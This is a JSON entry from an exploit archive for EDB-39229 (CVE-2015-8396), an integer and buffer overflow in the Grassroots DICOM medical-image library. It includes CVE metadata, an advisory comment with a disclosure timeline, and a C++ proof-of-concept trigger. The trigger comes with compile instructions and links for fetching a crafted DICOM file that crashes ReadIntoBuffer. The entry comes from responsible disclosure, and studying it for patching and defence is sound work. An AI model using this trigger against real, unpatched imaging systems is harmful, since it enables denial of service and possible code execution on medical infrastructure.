{"exploit":{"id":"EDB-39229","name":"Grassroots DICOM (GDCM) 2.6.0/2.6.1 - 'ImageRegionReader::ReadIntoBuffer' Buffer Overflow","description":"Grassroots DICOM (GDCM) 2.6.0/2.6.1 - 'ImageRegionReader::ReadIntoBuffer' Buffer Overflow","cves":["CVE-2015-8396"],"author":"Stelios Tsampas","published":"2016-01-12","platform":"linux","type":"dos","language":"C++","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/39229","path":"exploits/linux/dos/39229.cpp","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-39229.cpp","vulnerabilities":[{"id":"CVE-2015-8396","state":"PUBLISHED","title":null,"titleSource":null,"description":"Integer overflow in the ImageRegionReader::ReadIntoBuffer function in MediaStorageAndFileFormat/gdcmImageRegionReader.cxx in Grassroots DICOM (aka GDCM) before 2.6.2 allows attackers to execute arbitrary code via crafted header dimensions in a DICOM image file, which triggers a buffer overflow.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-8396","cvss":{"version":"3.0","baseScore":10,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-8396"},"updatedAt":"2024-08-06T08:13:32.903Z","retrievedAt":"2026-11-27T11:10:14.764Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-39229.png?v=2","url":"https://exploitbin.com/exploits/EDB-39229","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-39229/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-39229/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nGrassroots DICOM (GDCM) is a C++ library for processing DICOM medical\nimages.\nIt provides routines to view and manipulate a wide range of image formats\nand can be accessed through many popular programming languages like Python,\nC#, Java and PHP.\n\nGDCM versions 2.6.0 and 2.6.1 (and possibly previous versions) are prone\nto an\ninteger overflow vulnerability which leads to a buffer overflow and\npotentially to remote code execution. The vulnerability is triggered by the\nexposed function gdcm::ImageRegionReader::ReadIntoBuffer, which copies\nDICOM\nimage data to a buffer. ReadIntoBuffer checks whether the supplied\nbuffer is\nlarge enough to hold the necessary data, however in this check it fails to\ndetect the occurrence of an integer overflow, which leads to a buffer\noverflow\nlater on in the code. The buffer overflow will occur regardless of the\nsize of\nthe buffer supplied to the ReadIntoBuffer call.\n\nMore information about this vulnerability can be found at\nhttp://census-labs.com/news/2016/01/11/gdcm-buffer-overflow-imageregionreaderreadintobuffer/\n\nThe GDCM project has released version 2.6.2 that addresses this issue.\nIt is advised to upgrade all GDCM installations to the latest stable\nrelease.\n\nDisclosure Timeline\n-------------------\nCVE assignment:    December 2nd, 2015\nVendor Contact:    December 4th, 2015\nVendor Patch Release: December 23rd, 2015\nPublic Advisory: January 11th, 2016\n*/\n\n#include \"gdcmReader.h\"\n#include \"gdcmImageReader.h\"\n#include \"gdcmImageRegionReader.h\"\n#include \"gdcmBoxRegion.h\"\n#include \"gdcmImageHelper.h\"\n\n#include <iostream>\n\nusing namespace std;\n\n/*\n * A simple demonstration of CVE-2015-8396\n * by Stelios Tsampas (stelios at census-labs.com)\n * based on http://gdcm.sourceforge.net/html/ExtractImageRegion_8cs-example.html\n *\n * Compiles with:\n * $ g++ -I/usr/include/gdcm-2.6 -o CVE-2015-8396-trigger CVE-2015-8396-trigger.cpp -lgdcmCommon -lgdcmMSFF -lgdcmDSED\n *\n * Try it on http://census-labs.com/media/CVE-2015-8396.dcm.bz2\n *                https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39229.zip\n * $ bzip2 -d CVE-2015-8396.dcm.bz2\n * $ ./CVE-2015-8396-trigger CVE-2015-8396.dcm\n */\n\nint main(int argc, char *argv [])\n{\n\tchar buffer[2048 * 2047];\n\tgdcm::ImageRegionReader reader;\n\tgdcm::BoxRegion box;\n\n\tif (argc < 2) {\n\t\tcout << \"Usage: example <input-file>\\n\";\n\t\treturn 1;\n\t}\n\n\tconst char *filename = argv[1];\n\treader.SetFileName(filename);\n\n\tif (!reader.ReadInformation()) {\n\t\tcout << \"No info from file\\n\";\n\t\treturn 1;\n\t}\n\n\tstd::vector<unsigned int> dims = gdcm::ImageHelper::GetDimensionsValue(reader.GetFile());\n\tcout << \"x: \" << dims[0] << \", y: \" << dims[1] << \", z: \" << dims[2] << \"\\n\";\n\n\tbox.SetDomain(0, dims[0] - 1, 0, dims[1] - 1, 0, dims[2] - 1);\n\treader.SetRegion(box);\n\treader.ReadIntoBuffer(buffer, sizeof(buffer));\n\n\treturn 0;\n}","sha256":"290164914ad50fab4d13cabb7ba172f9058e5e85a0712d4b4759100eac55a493","bytes":2842,"fetchedAt":"2026-11-27T11:10:11.554Z","encoding":"utf-8 (display only; download retains original bytes)"}